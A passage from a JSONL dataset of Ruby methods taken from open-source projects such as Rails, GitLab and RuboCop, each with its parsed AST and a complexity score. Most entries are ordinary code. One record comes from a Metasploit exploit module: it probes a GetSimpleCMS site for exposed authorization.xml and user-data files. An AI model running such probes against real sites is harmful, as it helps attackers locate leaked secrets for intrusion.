end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_condition_find_with_aggregate_having_three_mappings_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"zaphod_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"zaphod\"]}]},\"address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"barney_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"barney\"]}]},\"address\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Address\"]},{\"type\":\"lvar\",\"children\":[\"david_address\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Address\"]},{\"type\":\"lvar\",\"children\":[\"zaphod_address\"]}]},{\"type\":\"lvasgn\",\"children\":[\"found_customers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david_address\"]},{\"type\":\"lvar\",\"children\":[\"zaphod_address\"]},{\"type\":\"lvar\",\"children\":[\"barney_address\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"zaphod\"]}]},{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"barney\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_customers\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"c4d4f8dd-bb11-41ae-bb1e-c263038486af"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":39,"raw_source":"def json_or_yaml\n    respond_to do |type|\n      type.json { render body: \"JSON\" }\n      type.yaml { render body: \"YAML\" }\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"json_or_yaml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"JSON\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"yaml\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"YAML\"]}]}]}]}]}]}]}]}","id":"c76c773c-b005-43de-805f-b0b5b4cabfb7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/access_token_extension.rb","start_line":26,"raw_source":"def push_to_streaming_api\n    redis.publish(\"timeline:access_token:#{id}\", Oj.dump(event: :kill)) if revoked? || destroyed?\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"push_to_streaming_api\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revoked?\"]},{\"type\":\"send\",\"children\":[null,\"destroyed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"timeline:access_token:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"sym\",\"children\":[\"kill\"]}]}]}]}]},null]}]}","id":"6539dd0a-332c-4c9d-9fd6-51c1c80ff093"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/primary_keys_test.rb","start_line":104,"raw_source":"def test_customized_primary_key_auto_assigns_on_save\n    Keyboard.delete_all\n    keyboard = Keyboard.new(name: \"HHKB\")\n    keyboard.save!\n    assert_equal keyboard.id, Keyboard.find_by_name(\"HHKB\").id\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_customized_primary_key_auto_assigns_on_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Keyboard\"]},\"delete_all\"]},{\"type\":\"lvasgn\",\"children\":[\"keyboard\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Keyboard\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"HHKB\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyboard\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyboard\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Keyboard\"]},\"find_by_name\",{\"type\":\"str\",\"children\":[\"HHKB\"]}]},\"id\"]}]}]}]}","id":"29280082-b2dd-48c2-bdba-bfda85d380f9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/unless_else.rb","start_line":27,"raw_source":"def on_if(node)\n          return unless node.unless? && node.else?\n\n          add_offense(node) do |corrector|\n            next if part_of_ignored_node?(node)\n\n            corrector.replace(node.loc.keyword, 'if')\n\n            body_range = range_between_condition_and_else(node)\n            else_range = range_between_else_and_end(node)\n\n            corrector.swap(body_range, else_range)\n          end\n\n          ignore_node(node)\n        end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"unless?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},{\"type\":\"str\",\"children\":[\"if\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body_range\",{\"type\":\"send\",\"children\":[null,\"range_between_condition_and_else\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"else_range\",{\"type\":\"send\",\"children\":[null,\"range_between_else_and_end\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"swap\",{\"type\":\"lvar\",\"children\":[\"body_range\"]},{\"type\":\"lvar\",\"children\":[\"else_range\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"06094972-eb7a-4c94-b337-246bd6895e78"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/support/pages/taskboard.rb","start_line":114,"raw_source":"def change_attributes_in_modal(attributes)\n      within \".ui-dialog\" do\n        attributes.each do |key, value|\n          case key\n          when :subject\n            fill_in \"Subject\", with: value\n          when :assignee\n            select value, from: \"Assignee\"\n          when :remaining_hours\n            fill_in \"Remaining work\", with: value\n          end\n        end\n\n        click_button \"OK\"\n      end\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change_attributes_in_modal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\".ui-dialog\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"Assignee\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"remaining_hours\"]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"Remaining work\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"OK\"]}]}]}]}]}","id":"2c67f729-461f-4c94-bf74-6f3aeba3fe58"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb","start_line":237,"raw_source":"def fetch_type_metadata(sql_type, extra = \"\")\n            MySQL::TypeMetadata.new(super(sql_type), extra: extra)\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_type_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql_type\"]},{\"type\":\"optarg\",\"children\":[\"extra\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQL\"]},\"TypeMetadata\"]},\"new\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"lvar\",\"children\":[\"extra\"]}]}]}]}]}","id":"cb036f19-07a1-4bda-95b6-bb488dd68756"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/artifact_update_strategies/base.rb","start_line":42,"raw_source":"def generate_changes(&progress)\n          response = +\"\"\n          llm.generate(build_prompt, user: user, cancel_manager: cancel_manager) do |partial|\n            progress.call(partial) if progress\n            response << partial\n          end\n          response\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"progress\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm\"]},\"generate\",{\"type\":\"send\",\"children\":[null,\"build_prompt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cancel_manager\"]},{\"type\":\"send\",\"children\":[null,\"cancel_manager\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progress\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"9f0fe4e1-960e-418b-8919-f0a8c8558dfd"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/base_text_formatter.rb","start_line":30,"raw_source":"def dump_failures(notification)\n          return if notification.failure_notifications.empty?\n          output.puts notification.fully_formatted_failed_examples\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_failures\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"failure_notifications\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"fully_formatted_failed_examples\"]}]}]}]}","id":"e4305661-0d83-4759-a1f2-2415cb5bd77d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/listener.rb","start_line":69,"raw_source":"def rails_logger_warn(text)\n        target = defined?(Rails) ? Rails.logger : Kernel\n\n        target.warn(text)\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_logger_warn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},{\"type\":\"const\",\"children\":[null,\"Kernel\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"c76ec4eb-0718-4650-9db7-736623c25909"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/design_management/design_at_version_spec.rb","start_line":256,"raw_source":"def id_of(design, version)\n    build(:design_at_version, design: design, version: version).id\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"design\"]},{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"design_at_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"design\"]},{\"type\":\"lvar\",\"children\":[\"design\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},\"id\"]}]}","id":"8ee414ff-40a6-4826-bb33-94d12982b46d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_tenant.rb","start_line":168,"raw_source":"def update_source_tenant(tenant_params)\n    _log.info(\"CloudTenant #{name} has tenant #{source_tenant.name}\")\n    _log.info(\"Updating Tenant #{source_tenant.name} with parameters: #{tenant_params.inspect}\")\n    source_tenant.update(tenant_params)\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_source_tenant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tenant_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CloudTenant \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" has tenant \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updating Tenant \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with parameters: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tenant_params\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"tenant_params\"]}]}]}]}","id":"e0f9823e-c008-47dd-894e-801c0701d974"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb","start_line":157,"raw_source":"def vulnerable\n    uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => uri\n    )\n    return unless res && res.code == 200\n\n    uri = normalize_uri(target_uri.path, 'data', 'users', '/')\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => uri\n    )\n    return unless res && res.code == 200\n\n    return true\n  end","complexity_score":22.65,"ast_json":"{\"type\":\"def\",\"children\":[\"vulnerable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"other\"]},{\"type\":\"str\",\"children\":[\"authorization.xml\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"19d91637-bb6b-48e6-b51c-465f4284fc2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250701220912_drop_user_starred_dashboards_again.rb","start_line":6,"raw_source":"def up\n    return unless table_exists?(:metrics_users_starred_dashboards)\n\n    drop_table :metrics_users_starred_dashboards\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"metrics_users_starred_dashboards\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"metrics_users_starred_dashboards\"]}]}]}]}","id":"ce5896e8-9013-444b-bcbc-f23217cacbb8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search/params.rb","start_line":21,"raw_source":"def initialize(params, detect_abuse: true)\n        @raw_params      = process_params(params)\n        @query_string    = strip_surrounding_whitespace(@raw_params[:search] || @raw_params[:term])\n        @detect_abuse    = detect_abuse\n        @abuse_detection = AbuseDetection.new(self) if @detect_abuse\n\n        validate\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"kwoptarg\",\"children\":[\"detect_abuse\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_params\",{\"type\":\"send\",\"children\":[null,\"process_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@query_string\",{\"type\":\"send\",\"children\":[null,\"strip_surrounding_whitespace\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"term\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@detect_abuse\",{\"type\":\"lvar\",\"children\":[\"detect_abuse\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@detect_abuse\"]},{\"type\":\"ivasgn\",\"children\":[\"@abuse_detection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbuseDetection\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"validate\"]}]}]}","id":"1ef1a083-5efd-44c8-bf4a-e6b8bce87770"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":230,"raw_source":"def write_after_pages!\n    write_headers!\n    write_footers!\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_after_pages!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_headers!\"]},{\"type\":\"send\",\"children\":[null,\"write_footers!\"]}]}]}","id":"68664be8-08ec-4f48-9444-e5e315bc392d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/migrations_are_up_check.rb","start_line":8,"raw_source":"def check?\n        migration_status, _ = Gitlab::Popen.popen(%w[bundle exec rake db:migrate:status])\n\n        migration_status !~ /down\\s+\\d{14}/\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_status\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"popen\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bundle\"]},{\"type\":\"str\",\"children\":[\"exec\"]},{\"type\":\"str\",\"children\":[\"rake\"]},{\"type\":\"str\",\"children\":[\"db:migrate:status\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_status\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"down\\\\s+\\\\d{14}\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"6336728b-9ca4-4224-ad90-3211fa1452f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/lfs_pointers/lfs_object_download_list_service.rb","start_line":71,"raw_source":"def missing_lfs_files\n        lfs_pointers_in_repository.except(*existing_lfs_objects_hash.keys)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_lfs_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_pointers_in_repository\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_lfs_objects_hash\"]},\"keys\"]}]}]}]}","id":"5d430ec0-b37e-44e4-b351-9a3a14e6c56f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/accessor_grouping.rb","start_line":85,"raw_source":"def autocorrect(corrector, node)\n          if (preferred_accessors = preferred_accessors(node))\n            corrector.replace(\n              grouped_style? ? node : range_with_trailing_argument_comment(node),\n              preferred_accessors\n            )\n          else\n            range = range_with_surrounding_space(node.source_range, side: :left)\n            corrector.remove(range)\n          end\n        end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preferred_accessors\",{\"type\":\"send\",\"children\":[null,\"preferred_accessors\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grouped_style?\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"range_with_trailing_argument_comment\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"lvar\",\"children\":[\"preferred_accessors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_with_surrounding_space\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[